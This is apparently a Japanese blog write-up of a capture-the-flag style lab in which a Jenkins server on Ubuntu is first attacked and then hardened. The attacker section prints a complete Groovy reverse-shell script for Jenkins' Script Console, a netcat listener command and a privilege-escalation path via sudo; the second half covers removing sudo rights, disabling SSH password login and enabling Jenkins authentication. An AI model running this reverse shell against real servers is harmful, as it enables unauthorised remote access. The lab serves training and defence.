12日目。
[Day 12] Sleighing Threats, One Layer at a Time
Jenkins が走っている Ubuntu マシンをターゲットマシンとして、このマシンをセキュリティ的に強固にしていこう、というお話。前半が攻撃者のターン、後半が管理者のターンとなっている。
What is the default port for Jenkins?
まずは攻撃者のターン。Jenkins のデフォルトポートはとりあえずググるとわかる。
What is the password of the user tracy?
左メニューの "Manage Jenkins" をクリックし、遷移したページの下部にある "Script Console" をクリックする。プログラムを記述して実行できる画面に移るので、リバースシェルを狙う。
アタックマシンで nc -nvlp 6996
を実行し listen 状態にした後でウェブブラウザの Jenkins 管理画面から下記のスクリプトを実行する。
String host="attacking machine IP here"; int port=6996; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
うまくつながらない場合はアタックマシンで MTU の値を 1500 から 1200 くらいに落として(sudo ip link set tun0 mtu 1200
を実行)から再び listen してみるとよい。(わかりにくいが)つながったようなら、/opt/scripts/backup.sh
の中身を見てみる。するとスクリプトの途中にパスワードが書いてあるのがわかる。
What's the root flag?
パスワードがわかったので tracy で SSH 接続する。tracy は sudo 権限を持っており、sudo su
で root ユーザになることができる。
Hint を見ると /root/
ディレクトリを見るように書いてあるので調べてみると flag.txt が見つかる。
What is the error message when you login as tracy again and try sudo -l
after its removal from the sudoers group?
ここまでで、攻撃者が Jenkins の管理画面からゴニョゴニョすることで /root/
ディレクトリの中身を見れてしまうことがわかったので、ここから防御策を施す。
ここからは管理者のターン。まず「tracy が sudo 権限を持っているのはまずい」とのことで剥奪する。解説にある通り admin ユーザで SSH 接続し、sudo deluser tracy sudo
、sudo -l -U tracy
を実行すればよい。
こうすると下の画像のように、tracy ユーザで sudo を実行しようとしてもできなくなっているのがわかる。
What's the SSH flag?
次は「ユーザ名とパスワードだけで SSH 接続できるのはまずい」とのことでこの対策を行う。具体的には、SSH の設定ファイルを編集し(sudo vim /etc/ssh/sshd_config
で編集)、#PasswordAuthentication yes
となっている部分を PasswordAuthentication no
とすればよい。なおこの時、下の画像のようにフラグらしきものも書かれている。解説にはついでに設定ファイル内の Include /etc/ssh/sshd_config.d/*.conf
の記述もコメントアウトし、SSH を再起動するように書いてある。
What's the Jenkins flag?
最後にそもそも「Jenkins の管理画面に入れるのはまずい」とのことで、ウェブ上でユーザ名・パスワードによる認証を行うようにする。sudo vim /var/lib/jenkins/config.xml.bak
コマンドで Jenkins の設定ファイル(をバックアップしたもの)を編集する。編集する箇所付近にフラグも書いてある。
設定を反映させるには、sudo cp /var/lib/jenkins/config.xml.bak /var/lib/jenkins/config.xml
コマンド(mv
コマンドでもいい)で設定ファイルを上書きした後、sudo systemctl restart jenkins
コマンドで Jenkins を再起動すればよい。これで下の画像のように、設定画面に行く前に認証を行うようになる。めでたしめでたし。
感想
問題を通して、攻撃者の行動を予測した上で順番に対策を行っているのがわかる。なお、解説ではより強固なパスワードポリシーについても言及してある。それにしてもどの辺が Promoting Zero Trust なのか正直よくわからなかった。ネットワークでいうゼロトラストとは違うのかなぁ……あと Jenkins の設定ファイルが XML 形式になっているけど何をどう設定しているのか調べてもわからなかった。まったくこれだから XML は……